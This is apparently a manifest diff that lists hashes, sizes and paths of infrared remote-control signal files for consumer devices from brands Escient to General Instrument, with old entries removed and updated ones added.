+F:48c1e288f200c94612ecca05b457a33d:6425:infrared/_CSV-IRDB_/Escient/Media Manager/4,22.ir +F:b38fd5033f98dc43e5143c3402ccd030:118:infrared/_CSV-IRDB_/Escient/Media Manager/48,-1.ir +F:98737fe109baf38a90b963d398f40cd0:2051:infrared/_CSV-IRDB_/Escient/Media Server/1,22.ir +F:a72b4da94f807af373653c14b0d36bbd:2121:infrared/_CSV-IRDB_/Escient/Media Server/4,22.ir D:infrared/_CSV-IRDB_/Esoteric Audio/DVD Player -F:40d45916d2a5d662c552439f2b8f83af:4218:infrared/_CSV-IRDB_/Esoteric Audio/DVD Player/133,32.ir +F:b0b4495e8c133145237bd79cdf1f20dc:3946:infrared/_CSV-IRDB_/Esoteric Audio/DVD Player/133,32.ir D:infrared/_CSV-IRDB_/Euroconsumers/Unknown_LG-5988 -F:114399020245060dd0cc052418ff7ff8:4305:infrared/_CSV-IRDB_/Euroconsumers/Unknown_LG-5988/136,-1.ir +F:be8392cc13b06798eb35b9f5ab61db7f:4033:infrared/_CSV-IRDB_/Euroconsumers/Unknown_LG-5988/136,-1.ir D:infrared/_CSV-IRDB_/Expressvu/Unknown_3100 -F:ce954f5fe09e60a2e4f492b22874eb31:1245:infrared/_CSV-IRDB_/Expressvu/Unknown_3100/0,0.ir +F:d27ab5d9913dfe1138ebb27c6e3f0c0a:1165:infrared/_CSV-IRDB_/Expressvu/Unknown_3100/0,0.ir D:infrared/_CSV-IRDB_/Extron/Switcher -F:dbf6ea5bdc8ce5465052f86512ff9fdb:1101:infrared/_CSV-IRDB_/Extron/Switcher/0,-1.ir -F:adf8f6efd9162c138f59b67f5f923f3b:1497:infrared/_CSV-IRDB_/Extron/Switcher/128,84.ir +F:8f4df244527e343ccbe3cff05298cf80:1027:infrared/_CSV-IRDB_/Extron/Switcher/0,-1.ir +F:919382ee565f98c19fcde11decd82d56:1399:infrared/_CSV-IRDB_/Extron/Switcher/128,84.ir D:infrared/_CSV-IRDB_/FSC/DVD Player -F:51e85ed6fee0397ef480c8a0274d8f6e:4757:infrared/_CSV-IRDB_/FSC/DVD Player/4,15.ir +F:08363df9c190fc0a1b62f42544bb9d7f:4449:infrared/_CSV-IRDB_/FSC/DVD Player/4,15.ir D:infrared/_CSV-IRDB_/FTE Maximal/Unknown_FTE -F:e41a8fcfa0a4b7b8c519ee079cf11336:2097:infrared/_CSV-IRDB_/FTE Maximal/Unknown_FTE/73,-1.ir +F:01eb7ba0d3a29091a0748009c028e0f2:1963:infrared/_CSV-IRDB_/FTE Maximal/Unknown_FTE/73,-1.ir D:infrared/_CSV-IRDB_/FUBA/Unknown_ALPS D:infrared/_CSV-IRDB_/FUBA/Unknown_FUBA -F:61a97d1f448ab222ca7b91568e4b505d:2490:infrared/_CSV-IRDB_/FUBA/Unknown_ALPS/134,75.ir -F:7ca8c881880ea9ff2b50dcd703fbb722:2288:infrared/_CSV-IRDB_/FUBA/Unknown_FUBA/134,75.ir +F:8981eb745d895bb49ba0675dd00114a2:2332:infrared/_CSV-IRDB_/FUBA/Unknown_ALPS/134,75.ir +F:937bb0f4927ab158eed9ad9e6f5cf8b4:2142:infrared/_CSV-IRDB_/FUBA/Unknown_FUBA/134,75.ir D:infrared/_CSV-IRDB_/FUNAI/Unknown_NF021RD -F:ec75b7990ee518672a56944e0604c01e:4093:infrared/_CSV-IRDB_/FUNAI/Unknown_NF021RD/132,224.ir +F:2ac6526b545d4f67d42fc1b552ba88a1:3839:infrared/_CSV-IRDB_/FUNAI/Unknown_NF021RD/132,224.ir D:infrared/_CSV-IRDB_/Fagor/Unknown_TEDI100 -F:bca824be337bd873ebec7ef3865c50d8:1645:infrared/_CSV-IRDB_/Fagor/Unknown_TEDI100/192,-1.ir +F:92ff1653b0b8aefaa3f91769922227f5:1541:infrared/_CSV-IRDB_/Fagor/Unknown_TEDI100/192,-1.ir D:infrared/_CSV-IRDB_/Falcon/Unknown_VT-1000 -F:b07d5bca778658bbfe57a15ebd27a6e4:1568:infrared/_CSV-IRDB_/Falcon/Unknown_VT-1000/16,47.ir +F:d74dadaf55fe76a48614e2d671374b2a:1470:infrared/_CSV-IRDB_/Falcon/Unknown_VT-1000/16,47.ir D:infrared/_CSV-IRDB_/Faroudja/DVD Player D:infrared/_CSV-IRDB_/Faroudja/Line Doubler D:infrared/_CSV-IRDB_/Faroudja/Line Quadrupler D:infrared/_CSV-IRDB_/Faroudja/Processor D:infrared/_CSV-IRDB_/Faroudja/Video Processor D:infrared/_CSV-IRDB_/Faroudja/Video Projector -F:acae852fc975e26a52314cfd8d091132:4135:infrared/_CSV-IRDB_/Faroudja/DVD Player/163,-1.ir -F:6dc40ce4aab84e036b0df8f3befa1273:2823:infrared/_CSV-IRDB_/Faroudja/DVD Player/175,-1.ir -F:817437b83c8f1b1995135ca0f50c247c:810:infrared/_CSV-IRDB_/Faroudja/Line Doubler/1,-1.ir -F:817437b83c8f1b1995135ca0f50c247c:810:infrared/_CSV-IRDB_/Faroudja/Line Quadrupler/1,-1.ir -F:025d8658637c86697f658e6d523468b9:1388:infrared/_CSV-IRDB_/Faroudja/Processor/1,-1.ir -F:ec813ca8a2db09bd4c7f6df11580407c:3393:infrared/_CSV-IRDB_/Faroudja/Video Processor/1,-1.ir -F:879a25687c950073d24fcd19e00533ff:2988:infrared/_CSV-IRDB_/Faroudja/Video Processor/27,-1.ir -F:a7a8bc403c15ab8bc177982c55741dac:213:infrared/_CSV-IRDB_/Faroudja/Video Projector/0,-1.ir -F:943de5e3debc67979b8db65266961994:2796:infrared/_CSV-IRDB_/Faroudja/Video Projector/1,-1.ir -F:3f2bdb5fb0d5b7f98b1a9da63ef2773e:126:infrared/_CSV-IRDB_/Faroudja/Video Projector/13,-1.ir -F:6e1c4180bf7edc395b7a0ed10f6f2067:982:infrared/_CSV-IRDB_/Faroudja/Video Projector/135,78.ir -F:24eae45b84da1799496e267a1d0358fb:980:infrared/_CSV-IRDB_/Faroudja/Video Projector/24,-1.ir -F:22e34d6805de06b02b301f5161597df0:1457:infrared/_CSV-IRDB_/Faroudja/Video Projector/24,24.ir -F:78b6ce36fd873935871a87c572238c0b:126:infrared/_CSV-IRDB_/Faroudja/Video Projector/30,-1.ir +F:86dd236eaf76fd18208b5e1e0a31d697:3869:infrared/_CSV-IRDB_/Faroudja/DVD Player/163,-1.ir +F:33617a43b256f7bfd3bbc3c0ea51c024:2629:infrared/_CSV-IRDB_/Faroudja/DVD Player/175,-1.ir +F:1227c4a3e955ce8ae2d18f80026d6676:760:infrared/_CSV-IRDB_/Faroudja/Line Doubler/1,-1.ir +F:1227c4a3e955ce8ae2d18f80026d6676:760:infrared/_CSV-IRDB_/Faroudja/Line Quadrupler/1,-1.ir +F:cab752e9bffa82158e700a575935da54:1302:infrared/_CSV-IRDB_/Faroudja/Processor/1,-1.ir +F:930099c4c6c06bc0718b3d3d0cd152ac:3175:infrared/_CSV-IRDB_/Faroudja/Video Processor/1,-1.ir +F:2c98bdd0f35c1bd27c0da78f97992c1e:2794:infrared/_CSV-IRDB_/Faroudja/Video Processor/27,-1.ir +F:40f30ef2e01dd9d24aa7f34f783183ac:199:infrared/_CSV-IRDB_/Faroudja/Video Projector/0,-1.ir +F:aaf905f7de9ec3428f70734ec0f0d71e:2614:infrared/_CSV-IRDB_/Faroudja/Video Projector/1,-1.ir +F:aa67357d776e2f95143af7af8bc18b44:118:infrared/_CSV-IRDB_/Faroudja/Video Projector/13,-1.ir +F:06748575fa5bb8f905cb26b0d6050421:920:infrared/_CSV-IRDB_/Faroudja/Video Projector/135,78.ir +F:47502e0cd0af1b6146f652dd4aeb8a57:918:infrared/_CSV-IRDB_/Faroudja/Video Projector/24,-1.ir +F:6e263579248fdb4d37384f46460498a8:1365:infrared/_CSV-IRDB_/Faroudja/Video Projector/24,24.ir +F:7a100d896c44d273828bae9bee053cd7:118:infrared/_CSV-IRDB_/Faroudja/Video Projector/30,-1.ir D:infrared/_CSV-IRDB_/Fast/TV D:infrared/_CSV-IRDB_/Fast/TVS -F:72e348cce51f080a379277dd16002f74:7075:infrared/_CSV-IRDB_/Fast/TV/28,-1.ir -F:f2d942e9fa2d3b1315cbbf95fe293de4:963:infrared/_CSV-IRDB_/Fast/TVS/28,-1.ir +F:f770c63b1214c70001e7c95b94b448c2:6617:infrared/_CSV-IRDB_/Fast/TV/28,-1.ir +F:3fe11d6ddafa1ba496071101d9da1665:901:infrared/_CSV-IRDB_/Fast/TVS/28,-1.ir D:infrared/_CSV-IRDB_/Fedders/Air Conditioner -F:77c75bc1b9347ac6da25ed78aa4454d7:607:infrared/_CSV-IRDB_/Fedders/Air Conditioner/32,-1.ir +F:88fe4aaf46b7cdfa777c3800ce0881fa:569:infrared/_CSV-IRDB_/Fedders/Air Conditioner/32,-1.ir D:infrared/_CSV-IRDB_/Fisher/Surround Processor D:infrared/_CSV-IRDB_/Fisher/TV D:infrared/_CSV-IRDB_/Fisher/Unknown_RC720F D:infrared/_CSV-IRDB_/Fisher/Unknown_RCA-9060 D:infrared/_CSV-IRDB_/Fisher/Unknown_REM-1500 D:infrared/_CSV-IRDB_/Fisher/Unknown_ra -F:f5969391c3887e8435d6999ebe1f9bf4:126:infrared/_CSV-IRDB_/Fisher/Surround Processor/48,48.ir -F:352dcd3f3ffeafeac8c94e419ef9a94f:2197:infrared/_CSV-IRDB_/Fisher/Surround Processor/54,200.ir -F:023042897bc6bf526f985a8c934eb7ea:213:infrared/_CSV-IRDB_/Fisher/TV/0,-1.ir -F:97664fa8dd66163b8715969fee0f0654:2279:infrared/_CSV-IRDB_/Fisher/TV/56,-1.ir -F:ea12b2434cd096162ef3d3a6138a696f:810:infrared/_CSV-IRDB_/Fisher/Unknown_RC720F/104,-1.ir -F:cc666728f01de9c4033c03af12281123:4526:infrared/_CSV-IRDB_/Fisher/Unknown_RCA-9060/54,-1.ir -F:004e6f7b74d7134fa7d7b345c7935608:2944:infrared/_CSV-IRDB_/Fisher/Unknown_REM-1500/162,162.ir -F:e8e5822c08a07335e6b0ce98576b8d11:4310:infrared/_CSV-IRDB_/Fisher/Unknown_ra/60,-1.ir +F:efa08da74b520a1a28a9858070b9b620:118:infrared/_CSV-IRDB_/Fisher/Surround Processor/48,48.ir +F:b963000f68cc2f0245291ececd7bc764:2057:infrared/_CSV-IRDB_/Fisher/Surround Processor/54,200.ir +F:ef815f5577fc35c3138158ad6737beef:199:infrared/_CSV-IRDB_/Fisher/TV/0,-1.ir +F:23b6063a7fb378fa7866934e7a3341b2:2127:infrared/_CSV-IRDB_/Fisher/TV/56,-1.ir +F:65e9311de88aa03c826c5a4f0f03d525:760:infrared/_CSV-IRDB_/Fisher/Unknown_RC720F/104,-1.ir +F:ba3e9542679d4d412c359a8eafc704cf:4242:infrared/_CSV-IRDB_/Fisher/Unknown_RCA-9060/54,-1.ir +F:68b0bccd40ca1073d965c518d9a2e732:2756:infrared/_CSV-IRDB_/Fisher/Unknown_REM-1500/162,162.ir +F:e7b51deb4f37ad1238a958be0e311b1e:4032:infrared/_CSV-IRDB_/Fisher/Unknown_ra/60,-1.ir D:infrared/_CSV-IRDB_/Fortec/Unknown_Lifetime D:infrared/_CSV-IRDB_/Fortec/Unknown_Mercury2 -F:c36f7a9fa74c2ba09c3bf34a325e8168:2969:infrared/_CSV-IRDB_/Fortec/Unknown_Lifetime/32,-1.ir -F:bc24ba4007510c49c41e9d50a1dd7384:4499:infrared/_CSV-IRDB_/Fortec/Unknown_Mercury2/1,253.ir +F:91824a016f4077f13fed07d00600872b:2781:infrared/_CSV-IRDB_/Fortec/Unknown_Lifetime/32,-1.ir +F:5c466bbe7c741e8976ba28d0634106f8:4215:infrared/_CSV-IRDB_/Fortec/Unknown_Mercury2/1,253.ir D:infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier D:infrared/_CSV-IRDB_/Fosgate/Surround Processor -F:cf2e8b8fb2940dda0cc9a421e4367525:233:infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,69.ir -F:d6f4d2f79ac45af06dce6696f9168624:223:infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,95.ir -F:c2aa84c4318c697e1c80a331af98ecf5:3356:infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/64,64.ir -F:c942ec1ca3cd6dc40c0af5c45917f3a4:7255:infrared/_CSV-IRDB_/Fosgate/Surround Processor/132,66.ir +F:b5ef06ac4e4f7ad671b0215766c33a89:219:infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,69.ir +F:3a287cf4f62dba2cf499c9ac1d1e0735:209:infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,95.ir +F:9a2116cd0c3271764d61a0ecd1d96b29:3138:infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/64,64.ir +F:0bd70b2d6d17a491f1d458a7850ae0f5:6797:infrared/_CSV-IRDB_/Fosgate/Surround Processor/132,66.ir D:infrared/_CSV-IRDB_/Foxtel/Set Top Box D:infrared/_CSV-IRDB_/Foxtel/Unknown_Digital D:infrared/_CSV-IRDB_/Foxtel/Unknown_foxtel -F:9be7a3d1919274a67716b63b9532cf90:3257:infrared/_CSV-IRDB_/Foxtel/Set Top Box/33,160.ir -F:502087b6fea44d15a526dcf9659e2e49:2940:infrared/_CSV-IRDB_/Foxtel/Unknown_Digital/0,0.ir -F:189caa686029d34683f31f69e36bf488:3207:infrared/_CSV-IRDB_/Foxtel/Unknown_foxtel/33,160.ir +F:fe392434d5582cde19d20d88818672be:3045:infrared/_CSV-IRDB_/Foxtel/Set Top Box/33,160.ir +F:462abc8641321f432912bc14b371e8ec:2746:infrared/_CSV-IRDB_/Foxtel/Unknown_Digital/0,0.ir +F:81b2ae78587c12e16c8b97fad7b01f0c:2995:infrared/_CSV-IRDB_/Foxtel/Unknown_foxtel/33,160.ir D:infrared/_CSV-IRDB_/Free/Unknown_REMOTE D:infrared/_CSV-IRDB_/Free/Unknown_V5 -F:3918e18d111237bb0525ee6be7526314:3363:infrared/_CSV-IRDB_/Free/Unknown_REMOTE/11,-1.ir -F:53425869477bac4f181974ad5a8f688f:4664:infrared/_CSV-IRDB_/Free/Unknown_V5/36,12.ir +F:fcffe37a210cdf5924dc70c0f87d2a9a:3151:infrared/_CSV-IRDB_/Free/Unknown_REMOTE/11,-1.ir +F:a957136e049de9c632ea643d717086e8:4368:infrared/_CSV-IRDB_/Free/Unknown_V5/36,12.ir D:infrared/_CSV-IRDB_/Freecom/Unknown_MP35 D:infrared/_CSV-IRDB_/Freecom/Unknown_usb -F:3d913ac08a98b8b6dc4f7e2203db82cc:4057:infrared/_CSV-IRDB_/Freecom/Unknown_MP35/128,-1.ir -F:d13617eacfedf650adfa696a96f8faf5:1745:infrared/_CSV-IRDB_/Freecom/Unknown_usb/128,-1.ir +F:0e01e9d1980ca29475b197c12775999d:3803:infrared/_CSV-IRDB_/Freecom/Unknown_MP35/128,-1.ir +F:34d9981344bfb4354f1e4bc16a4aa658:1635:infrared/_CSV-IRDB_/Freecom/Unknown_usb/128,-1.ir D:infrared/_CSV-IRDB_/Fresat/Unknown_SER-3000PL -F:a0141789d3eba3105b399cf51f3409b8:2544:infrared/_CSV-IRDB_/Fresat/Unknown_SER-3000PL/8,64.ir +F:14fbaa67b2572948c78c9e270e38316f:2380:infrared/_CSV-IRDB_/Fresat/Unknown_SER-3000PL/8,64.ir D:infrared/_CSV-IRDB_/Friedrich/Air Conditioner -F:f23b6914f558b308e8ddc318821128d5:1092:infrared/_CSV-IRDB_/Friedrich/Air Conditioner/1,-1.ir -F:57ee46030c26f3d2918158fb7f37b9f1:131:infrared/_CSV-IRDB_/Friedrich/Air Conditioner/16,-1.ir +F:25b25a82567264b6efb9e9535e0f5fbd:1024:infrared/_CSV-IRDB_/Friedrich/Air Conditioner/1,-1.ir +F:aaa17dd088fba7375babd1be0e3aed77:123:infrared/_CSV-IRDB_/Friedrich/Air Conditioner/16,-1.ir D:infrared/_CSV-IRDB_/Fujitsu/Monitor D:infrared/_CSV-IRDB_/Fujitsu/Plasma D:infrared/_CSV-IRDB_/Fujitsu/TV D:infrared/_CSV-IRDB_/Fujitsu/Unknown_CP300375-01 -F:6e5cfdf98241dd313981337ac28ba299:3860:infrared/_CSV-IRDB_/Fujitsu/Monitor/132,-1.ir -F:1a2811d32c04fc85935d5ac79ad11c56:1784:infrared/_CSV-IRDB_/Fujitsu/Monitor/132,138.ir -F:59d094b8af891cfedac50df609e1cf25:712:infrared/_CSV-IRDB_/Fujitsu/Monitor/132,139.ir -F:893a64a171ab7310e1647c18503e007c:314:infrared/_CSV-IRDB_/Fujitsu/Monitor/132,140.ir -F:8a52560c819ed7602dc6f0ba5b648f2f:10129:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,-1.ir -F:dffdca70346480c38b01a2380eaa0a0a:709:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,129.ir -F:d14a111d76a49ed0d49e9c6f7ebb4d34:132:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,130.ir -F:1c4306a4b26d81578f5c5aaed54ab804:132:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,134.ir -F:3548ccc649da85948905e49c267c3ca1:130:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,136.ir -F:4ecad8fed24a1195ddaf6873be8b1d1f:6543:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,138.ir -F:bd5cceb91b5685f704ff6f33121fa36c:5539:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,139.ir -F:de2f6e36816bd6615d8d2b210bb92065:789:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,140.ir -F:a759f6697f4a6d0c0e440e32dd6239f1:2134:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,141.ir -F:4c3d66e34fe7a3b47cc722930b6b1ca5:132:infrared/_CSV-IRDB_/Fujitsu/Plasma/140,132.ir -F:5194ddddbe079387ae5edf699a3395fa:1312:infrared/_CSV-IRDB_/Fujitsu/TV/132,-1.ir -F:ef80c1539e26f02000776e824fc6dae8:3851:infrared/_CSV-IRDB_/Fujitsu/Unknown_CP300375-01/4,15.ir +F:e6064f42e2d4fba66b80b10d22f39ae2:3618:infrared/_CSV-IRDB_/Fujitsu/Monitor/132,-1.ir +F:a8e33d7c91ceec6c1f30e974ef3711fb:1674:infrared/_CSV-IRDB_/Fujitsu/Monitor/132,138.ir +F:8a92b1719f5f0695d9e69899aec667e1:668:infrared/_CSV-IRDB_/Fujitsu/Monitor/132,139.ir +F:6a8a2b29edafbbe09ad47391ba463428:294:infrared/_CSV-IRDB_/Fujitsu/Monitor/132,140.ir +F:61d85bb2a5140728007a25312f899999:9497:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,-1.ir +F:8d8ee67f7b9de791b0118cdd145d1771:665:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,129.ir +F:04807a3b7c06f780c185092012cec7ff:124:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,130.ir +F:a91097e0ef8b98c52d22d28fa2a713a6:124:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,134.ir +F:48c0a79c39aa4f352602787de093c154:122:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,136.ir +F:5cb021a94381aaa8acc5e131278f2dcf:6133:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,138.ir +F:29e3eaf73d35def17c8ceb7824ca9f7f:5201:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,139.ir +F:de392fc6a441984a8ce8e72afacb76fc:739:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,140.ir +F:74b0835a195b48f94c14dbb0f4a42338:1994:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,141.ir +F:ade4b642632beb9cc8f4688a5403b666:124:infrared/_CSV-IRDB_/Fujitsu/Plasma/140,132.ir +F:75892c0e5be66e6720cdcd895850ce18:1232:infrared/_CSV-IRDB_/Fujitsu/TV/132,-1.ir +F:2526cbc3fd8802f33e87778ca93b5d9a:3609:infrared/_CSV-IRDB_/Fujitsu/Unknown_CP300375-01/4,15.ir D:infrared/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC1-1241-21 D:infrared/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC811 -F:c7c7eb806d4df28ecf5bd69ac4a6c0c0:4025:infrared/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC1-1241-21/32,176.ir -F:df93188226c5efc96e0eb0785ebed024:2631:infrared/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC811/4,15.ir +F:863415e87017748b4951af2fa64aabf2:3771:infrared/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC1-1241-21/32,176.ir +F:459bed48cd99e126df0207891312f0e0:2467:infrared/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC811/4,15.ir D:infrared/_CSV-IRDB_/Fujtech/Unknown_DVB-T -F:0fafce84cfad7a952f7f00100a187a06:1741:infrared/_CSV-IRDB_/Fujtech/Unknown_DVB-T/3,-1.ir +F:6876489fc85f0869fe7c7f82617f96bc:1631:infrared/_CSV-IRDB_/Fujtech/Unknown_DVB-T/3,-1.ir D:infrared/_CSV-IRDB_/Fusion Research/DVD Server -F:e08cdcf8d010202c1806b5b84e8298b1:3304:infrared/_CSV-IRDB_/Fusion Research/DVD Server/17,-1.ir +F:a73ab28cb89d9d912e71434420f22c9e:3092:infrared/_CSV-IRDB_/Fusion Research/DVD Server/17,-1.ir D:infrared/_CSV-IRDB_/GAMEFACTORY/Unknown_PS2DVD -F:5473850ccf41bc02f9010cf6d392df9d:1792:infrared/_CSV-IRDB_/GAMEFACTORY/Unknown_PS2DVD/0,246.ir +F:a692631abe264a43f4e4c2ec672a076e:1682:infrared/_CSV-IRDB_/GAMEFACTORY/Unknown_PS2DVD/0,246.ir D:infrared/_CSV-IRDB_/GE/TV D:infrared/_CSV-IRDB_/GE/VCR D:infrared/_CSV-IRDB_/GE/VCR_VKFS0938 -F:5019673ab129419fb047f6bb79463f51:4619:infrared/_CSV-IRDB_/GE/TV/15,-1.ir -F:4e1b5a7b7f26f22a582861d2076c535f:231:infrared/_CSV-IRDB_/GE/VCR/11,-1.ir -F:37c6eedd1eb0235e042deacd86202588:3665:infrared/_CSV-IRDB_/GE/VCR/14,-1.ir -F:797c58ed30cdb6f654ec23893a358919:132:infrared/_CSV-IRDB_/GE/VCR/26,73.ir -F:cd916bcc44e9a6f26d8f0f3debc99d4e:3570:infrared/_CSV-IRDB_/GE/VCR_VKFS0938/14,-1.ir +F:ec720467ce9dd8555a211d4d8baa9773:4317:infrared/_CSV-IRDB_/GE/TV/15,-1.ir +F:40e85c5af811fb77cf234084af7e89c2:217:infrared/_CSV-IRDB_/GE/VCR/11,-1.ir +F:31d4e4f501c812345b6ad0e8df032ccc:3435:infrared/_CSV-IRDB_/GE/VCR/14,-1.ir +F:edf33e3ed840920bc473f35aadd2c5c3:124:infrared/_CSV-IRDB_/GE/VCR/26,73.ir +F:2a339bbbb3e4ce3a5e6205af8203373c:3346:infrared/_CSV-IRDB_/GE/VCR_VKFS0938/14,-1.ir D:infrared/_CSV-IRDB_/GVC/Unknown_RM-RK50 -F:79d89f5894fde27314ab0bc6fdf5aa74:909:infrared/_CSV-IRDB_/GVC/Unknown_RM-RK50/143,-1.ir +F:43599d9a00244c72f74f76cbcd19b0aa:853:infrared/_CSV-IRDB_/GVC/Unknown_RM-RK50/143,-1.ir D:infrared/_CSV-IRDB_/Galaxis/Satellite D:infrared/_CSV-IRDB_/Galaxis/Unknown_GALAXIS-RC5 D:infrared/_CSV-IRDB_/Galaxis/Unknown_Galaxis-RCMM D:infrared/_CSV-IRDB_/Galaxis/Unknown_Galaxis.sat D:infrared/_CSV-IRDB_/Galaxis/Unknown_rc1 -F:09758927fcbcf37d6400e0071483a6f8:2868:infrared/_CSV-IRDB_/Galaxis/Satellite/13,80.ir -F:91c7c799ebd09215bc41983bc3e6ae6e:2938:infrared/_CSV-IRDB_/Galaxis/Unknown_GALAXIS-RC5/0,-1.ir -F:c9bde47dabede5b803362abe94d4bce9:4119:infrared/_CSV-IRDB_/Galaxis/Unknown_Galaxis-RCMM/13,80.ir -F:e385e037c26c0ac1eef874b6a61b5bf3:1645:infrared/_CSV-IRDB_/Galaxis/Unknown_Galaxis.sat/81,175.ir -F:e194ebe5d1cf7fb7c4bc6bfc97aa0974:4576:infrared/_CSV-IRDB_/Galaxis/Unknown_rc1/7,-1.ir +F:77b2f857da1327537ee4569a49ac1976:2680:infrared/_CSV-IRDB_/Galaxis/Satellite/13,80.ir +F:60ba32f01a806310d9e9b2feb2fb49b3:2750:infrared/_CSV-IRDB_/Galaxis/Unknown_GALAXIS-RC5/0,-1.ir +F:a46fa864b5354c64b16214451a37f8d7:3859:infrared/_CSV-IRDB_/Galaxis/Unknown_Galaxis-RCMM/13,80.ir +F:9260e19918085d90d4561e3645b6112d:1541:infrared/_CSV-IRDB_/Galaxis/Unknown_Galaxis.sat/81,175.ir +F:97ba2fa09e014c9cffffbeeaa953adb7:4286:infrared/_CSV-IRDB_/Galaxis/Unknown_rc1/7,-1.ir D:infrared/_CSV-IRDB_/Gefen Systems/DVI Switcher D:infrared/_CSV-IRDB_/Gefen Systems/HDMI Switcher D:infrared/_CSV-IRDB_/Gefen Systems/Matrix Switcher D:infrared/_CSV-IRDB_/Gefen Systems/Unknown -F:85245b3408ec40338378e1702855306e:391:infrared/_CSV-IRDB_/Gefen Systems/DVI Switcher/11,-1.ir -F:4d133debeefb7b392509e9e8302bd634:1173:infrared/_CSV-IRDB_/Gefen Systems/HDMI Switcher/11,-1.ir -F:3a459172e34eebeb8bf7f1e9ad15cb20:3175:infrared/_CSV-IRDB_/Gefen Systems/Matrix Switcher/11,-1.ir -F:2a55d1d662640545c78381e50ff1c30f:5555:infrared/_CSV-IRDB_/Gefen Systems/Unknown/24,-1.ir +F:b2d0edd9b477c9dd8b9715664569a657:365:infrared/_CSV-IRDB_/Gefen Systems/DVI Switcher/11,-1.ir +F:86dac978f72c966275b5badbe92fa532:1099:infrared/_CSV-IRDB_/Gefen Systems/HDMI Switcher/11,-1.ir +F:ea93d30322cf205ec1cfdfc830edeb47:2981:infrared/_CSV-IRDB_/Gefen Systems/Matrix Switcher/11,-1.ir +F:919e7a6dfee33beb75832648eaf35266:5181:infrared/_CSV-IRDB_/Gefen Systems/Unknown/24,-1.ir D:infrared/_CSV-IRDB_/General/Unknown_VCR -F:bebdf8e2aefacdd1b3324d19f2959029:908:infrared/_CSV-IRDB_/General/Unknown_VCR/22,-1.ir +F:6c45c8fd1affc95145ff19885ac6563f:852:infrared/_CSV-IRDB_/General/Unknown_VCR/22,-1.ir D:infrared/_CSV-IRDB_/General Electric/TV D:infrared/_CSV-IRDB_/General Electric/VCR -F:00009c475b0c7487966cdd2e594f54cd:2603:infrared/_CSV-IRDB_/General Electric/TV/15,-1.ir -F:4e1b5a7b7f26f22a582861d2076c535f:231:infrared/_CSV-IRDB_/General Electric/VCR/11,-1.ir -F:e193205df420c046e89e25473a299c91:2384:infrared/_CSV-IRDB_/General Electric/VCR/14,-1.ir -F:797c58ed30cdb6f654ec23893a358919:132:infrared/_CSV-IRDB_/General Electric/VCR/26,73.ir +F:78263a8540585de45b662b84a9fb3fab:2433:infrared/_CSV-IRDB_/General Electric/TV/15,-1.ir +F:40e85c5af811fb77cf234084af7e89c2:217:infrared/_CSV-IRDB_/General Electric/VCR/11,-1.ir +F:4daef42fcec808c2642c6b603f2869eb:2226:infrared/_CSV-IRDB_/General Electric/VCR/14,-1.ir +F:edf33e3ed840920bc473f35aadd2c5c3:124:infrared/_CSV-IRDB_/General Electric/VCR/26,73.ir D:infrared/_CSV-IRDB_/General Instrument/Cable Box D:infrared/_CSV-IRDB_/General Instrument/Satellite -F:9d22ef0999b04cbdc0f6a93268bf6bdb:6008:infrared/_CSV-IRDB_/General Instrument/Cable Box/0,-1.ir -F:6cabc6f7d70850eb36dcd6dec89bdd33:320:infrared/_CSV-IRDB_/General Instrument/Cable Box/1,-1.ir -F:43e4d99efa8f84d62348d8979173fa8f:320:infrared/_CSV-IRDB_/General Instrument/Cable Box/122,-1.ir -F:3b2f6f8fba33422b3888192855f697c4:126:infrared/_CSV-IRDB_/General Instrument/Cable Box/144,0.ir -F:71c705c544748a16a34b2c332ccc37f3:130:infrared/_CSV-IRDB_/General Instrument/Cable Box/15,-1.ir -F:1ffccca2fbdc86c02204ea9e87b4ce16:126:infrared/_CSV-IRDB_/General Instrument/Cable Box/64,-1.ir -F:263144a09352fee6670f4bafced17573:126:infrared/_CSV-IRDB_/General Instrument/Cable Box/87,-1.ir -F:1503cb049c2792ae050f638b14bca483:326:infrared/_CSV-IRDB_/General Instrument/Satellite/1,-1.ir -F:baa7f010ceebce50d6c6184fe86373bb:4993:infrared/_CSV-IRDB_/General Instrument/Satellite/130,110.ir +F:77f90f3b8eff508960107119f55b4c95:5616:infrared/_CSV-IRDB_/General Instrument/Cable Box/0,-1.ir +F:8bebc0300dc29584da02bdc960b38503:300:infrared/_CSV-IRDB_/General Instrument/Cable Box/1,-1.ir +F:0e2d734065de9ea01b051810464073b5:300:infrared/_CSV-IRDB_/General Instrument/Cable Box/122,-1.ir +F:215c291119554537726bb1ddaaa3115d:118:infrared/_CSV-IRDB_/General Instrument/Cable Box/144,0.ir +F:43f7405f385fb6005b9beac7a6d5ead0:122:infrared/_CSV-IRDB_/General Instrument/Cable Box/15,-1.ir +F:90a6567013f75e29e5b913f166050e65:118:infrared/_CSV-IRDB_/General Instrument/Cable Box/64,-1.ir +F:0aa50e00e3b843facfcc79df13a2dcc0:118:infrared/_CSV-IRDB_/General Instrument/Cable Box/87,-1.ir 